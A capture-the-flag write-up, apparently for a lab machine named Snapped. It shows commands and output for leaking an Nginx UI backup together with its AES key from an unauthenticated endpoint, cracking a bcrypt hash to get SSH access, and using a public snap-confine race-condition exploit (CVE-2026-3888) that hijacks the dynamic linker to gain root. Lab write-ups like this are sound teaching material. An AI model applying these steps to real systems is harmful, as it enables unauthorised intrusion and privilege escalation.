Introduction #
Snapped is a Linux machine that begins with an nginx-fronted HTTP service. Virtual host fuzzing uncovers an admin subdomain running Nginx UI, whose /api/backup endpoint is vulnerable to an unauthenticated backup download that leaks the AES decryption key and IV directly in the response headers. Decrypting the retrieved backup exposes an SQLite database containing password hashes, one of which grants SSH access as user jonathan. Privilege escalation to root hinges on the host’s outdated snapd package, vulnerable to CVE-2026-3888, a TOCTOU race condition in snap-confine’s sandbox setup, ultimately yielding a root shell via a hijacked SUID bash binary in the Firefox snap directory.
nmap #
nmap finds two open TCP ports, SSH (22) and HTTP (80):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.34.150
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJmeoJvLKYHBiXGWuhesZc1pKunLKcWr27Tf1iTu4Vrf+ZnI3aAEdfSNx1s+74ezW5xgxjkv9xbVUTpJ+fUyUhM=
| 256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6U/NpGpmd9TrojW8J4VdQaMccQBJZTggUXe6u0YGor
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://snapped.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add snapped.htb to /etc/hosts
Web #

There isn’t anything interesting on the main page, so the next step - subdomains
Subdomain #
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://snapped.htb/ -H 'Host: FUZZ.snapped.htb' -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://snapped.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.snapped.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
admin [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 30ms]
:: Progress: [220561/220561] :: Job [1/1] :: 1250 req/sec :: Duration: [0:03:23] :: Errors: 0 ::
admin subdomain discovered, add it to /etc/hosts as well

The admin subdomain is a default login page for Nginx-UI website management service
The Nginx-UI is known product with existing API endpoints, enumerate if any are open here:
└─$ gobuster dir -u http://admin.snapped.htb/api/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://admin.snapped.htb/api/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backup (Status: 200) [Size: 18306]
/certs (Status: 403) [Size: 34]
/config (Status: 403) [Size: 34]
/configs (Status: 403) [Size: 34]
/events (Status: 403) [Size: 34]
/install (Status: 200) [Size: 29]
/licenses (Status: 200) [Size: 52782]
/node (Status: 403) [Size: 34]
/notifications (Status: 403) [Size: 34]
/settings (Status: 403) [Size: 34]
/sites (Status: 403) [Size: 34]
/user (Status: 403) [Size: 34]
/users (Status: 403) [Size: 34]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
Among sea of 403 there are few open, most interesting one being /backup.
└─$ curl -v http://admin.snapped.htb/api/backup
* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.34.150
* Trying 10.129.34.150:80...a
* Connected to admin.snapped.htb (10.129.34.150) port 80
* using HTTP/1.x
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 23 Jul 2026 10:44:17 GMT
< Content-Type: application/zip
< Content-Length: 18306
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260723-064417.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Thu, 23 Jul 2026 10:44:17 GMT
< Pragma: public
< Request-Id: c8b83657-ace4-439a-b089-a70e31e0bf9f
< X-Backup-Security: r5grurmL9y1VX4p0WRZFNba5oEununbAAva7JFTPqJc=:GHUj74ITA0OvWpq+2reXUQ==
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider
Warning: "--output <FILE>" to save to a file.
* client returned ERROR on write of 12926 bytes
* closing connection #0
A quick curl shows it sending a file, backup-20260319-121113.zip, and the decryption key in the X-Backup-Security response header.
This is CVE-2026-27944
Ok, re-send the curl request this time with the file download:
└─$ curl -OJ -v http://admin.snapped.htb/api/backup
<SNIP>
< Content-Disposition: attachment; filename=backup-20260723-065914.zip
<SNIP>
< X-Backup-Security: 0/V82ofsAp/YLe9JNgYLdm3KrkcUFcp0rRC2ayQ9vRw=:dJrfc/rYGGnb1b511n97Pw==
<
{ [7526 bytes data]
100 18306 100 18306 0 0 226k 0 --:--:-- --:--:-- --:--:-- 229k
* Connection #0 to host admin.snapped.htb left intact
The key is in base64(AES-key):base64(IV) format meaning:
└─$ key=$(echo '0/V82ofsAp/YLe9JNgYLdm3KrkcUFcp0rRC2ayQ9vRw=' | base64 -d | xxd -p -c 256)
└─$ iv=$(echo 'dJrfc/rYGGnb1b511n97Pw==' | base64 -d | xxd -p)
Now I can unzip the outer archive, decrypt the inner nginx-ui.zip and unzip that as well:
└─$ unzip -d backup backup-20260723-065914.zip
Archive: backup-20260723-065914.zip
inflating: backup/hash_info.txt
inflating: backup/nginx-ui.zip
inflating: backup/nginx.zip
└─$ openssl enc -aes-256-cbc -d -in nginx-ui.zip -out nginxui_dec.zip -K $key -iv $iv
└─$ unzip nginxui_dec.zip
Archive: nginxui_dec.zip
inflating: app.ini
inflating: database.db
Inside was a SQLite database:
└─$ sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
acme_users configs namespaces sites
auth_tokens dns_credentials nginx_log_indices streams
auto_backups dns_domains nodes upstream_configs
ban_ips external_notifies notifications users
certs llm_sessions passkeys
config_backups migrations site_configs
sqlite> select * from users;
1|<SNIP>|admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|<SNIP>
2|<SNIP>|jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|<SNIP>
There are two users, admin and jonathan, I can attempt to crack the password hashes. They look like bcrypt meaning hashcat mode 3200:
└─$ hashcat -m 3200 user.hash ~/Tools/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark
After a short wait the password for jonathan is cracked and I can use it to SSH to the host and grab the user flag:
└─$ ssh jonathan@10.129.34.150
jonathan@10.129.34.150 password:
<SNIP>
jonathan@snapped:~$ ls
Desktop Documents Downloads Music Pictures Public snap Templates user.txt Videos
jonathan@snapped:~$ cat user.txt
8d89e1fda3e8209ce0bce9f7fe11937a
Root #
Standard sudo check returns nothing here:
jonathan@snapped:~$ sudo -l
[sudo] password for jonathan:
Sorry, user jonathan may not run sudo on snapped.
Services #
There are several services running on the machine:
jonathan@snapped:~$ systemctl list-units --type=service --state=running
UNIT LOAD ACTIVE SUB DESCRIPTION
accounts-daemon.service loaded active running Accounts Service
anacron.service loaded active running Run anacron jobs
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
colord.service loaded active running Manage, Install and Generate Color Profiles
cron.service loaded active running Regular background program processing daemon
cups-browsed.service loaded active running Make remote CUPS printers available locally
cups.service loaded active running CUPS Scheduler
dbus.service loaded active running D-Bus System Message Bus
gdm.service loaded active running GNOME Display Manager
gnome-remote-desktop.service loaded active running GNOME Remote Desktop
kerneloops.service loaded active running Tool to automatically collect and submit kernel crash signatures
ModemManager.service loaded active running Modem Manager
NetworkManager.service loaded active running Network Manager
nginx-ui.service loaded active running nginx-ui
nginx.service loaded active running A high performance web server and a reverse proxy server
open-vm-tools.service loaded active running Service for virtual machines hosted on VMware
polkit.service loaded active running Authorization Manager
power-profiles-daemon.service loaded active running Power Profiles daemon
rsyslog.service loaded active running System Logging Service
rtkit-daemon.service loaded active running RealtimeKit Scheduling Policy Service
snapd.service loaded active running Snap Daemon
ssh.service loaded active running OpenBSD Secure Shell server
switcheroo-control.service loaded active running Switcheroo Control Proxy service
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running User Login Management
systemd-oomd.service loaded active running Userspace Out-Of-Memory (OOM) Killer
systemd-resolved.service loaded active running Network Name Resolution
systemd-timedated.service loaded active running Time & Date Service
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-udevd.service loaded active running Rule-based Manager for Device Events and Files
udisks2.service loaded active running Disk Manager
upower.service loaded active running Daemon for power management
user@1000.service loaded active running User Manager for UID 1000
user@120.service loaded active running User Manager for UID 120
vgauth.service loaded active running Authentication service for virtual machines hosted on VMware
wpa_supplicant.service loaded active running WPA supplicant
Legend: LOAD → Reflects whether the unit definition was properly loaded.
ACTIVE → The high-level unit activation state, i.e. generalization of SUB.
SUB → The low-level unit activation state, values depend on unit type.
36 loaded units listed.
All seem reasonably normal.
The next step was tricky to find, the final hint that pointed me to the next step was the machine’s name - Snapped - and the service that inspired this name.
The snapd service - a software packaging and deployment system for Ubuntu. snap is running version 2.63.1:
jonathan@snapped:~$ snap version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
CVE-2026-3888 #
Googling for snap 2.63.1 ubuntu cve returns CVE-2026-3888
Basicly, CVE-2026-3888 affects snapd versions before 2.74.2 on Ubuntu 24.04.
Snap apps run in a sandbox, and the program responsible for setting that sandbox up is called snap-confine. It runs as root (via SUID) every time a snap launches, because building the sandbox requires root privileges.
Part of that setup involves temporarily copying some read-only system directories (like shared library folders) into a scratch location under /tmp/.snap/, so they can be safely exposed inside the sandbox. This copying happens in two steps:
- first the whole directory gets mounted into the scratch area
- then the individual files inside it get mounted back out into the sandbox one by one
The bug is a race condition (a “TOCTOU” - time-of-check time-of-use) in the gap between those two steps. If I am fast enough, I can swap out the directory’s contents during that brief window, right after snap-confine “checks” what’s there but before it finishes “using” it.
Because this all happens as root, whatever I swap in gets treated as trustworthy. In particular, I can substitute the dynamic linker (ld-linux-x86-64.so.2) - a core file that every program uses to load - with a malicious version containing my shell. Once that’s in place, the next SUID root program that runs in that sandbox executes the malicious code, handing me a root shell.
One of the creators of the machine, TheCyberGeek, has published a very nice PoC.
All I need to do is clone the repo:
└─$ git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.git
And build the exploit:
└─$ gcc -O2 -static -o exploit exploit_suid.c
└─$ gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
└─$ ls
exploit exploit_caps.c exploit_suid.c librootshell_caps.c librootshell.so librootshell_suid.c README.md
Now just copy it to the machine and run it:
└─$ scp exploit librootshell.so jonathan@10.129.39.172:~/
jonathan@10.129.39.172's password:
exploit 100% 890KB 2.2MB/s 00:00
librootshell.so 100% 9056 333.3KB/s 00:00
The exploit itself runs in 7 phases described in the repo:
jonathan@snapped:~$ ./exploit librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/librootshell.so (9056 bytes)
First phase creates a shell in the Firefox snap namespace, cd’s to /tmp and waits for .snap to be deleted, then sleeps.
Finally, it returns the shell PID.
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 8434
Phase two is just a wait for systemd-tmpfiles to delete .snap
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
Third phase destroys the cached mount namespace. snap-confine caches mount namespaces if the cached namespace still exists snap-confine would reuse it and never read anything from /tmp/.snap, so the poisoned directory would be ignored. By destroying the cached version, the exploit makes sure the next snap launch has to build new namespace with the malicious content.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_ra3smC//dev: No such file or directory
[+] Namespace destroyed.
Phase four is the race condition
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/8434/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 8768)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: jonathan:jonathan 755
[+] Poisoned namespace PID: 8768
Phase five is the main course. It injects the payload into the poisoned namespace.
It carries out three successive actions: it copies a standalone, static busybox binary into the namespace’s /tmp directory, writes an escape script (/tmp/sh pointing back to busybox), and finally overwrites the hijacked dynamic linker (ld-linux-x86-64.so.2) with a malicious shared library payload (librootshell.so).
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
Phase six triggers root execution and there’s a SetUID bash copy in the Firefox snap directory:
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
And the last phase just runs the SetUID bash to get a shell
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1
And that is all, just grab the flag!
bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# cat /root/root.txt
a4ad672afaab9566975c81bbed760e0a
bash-5.1#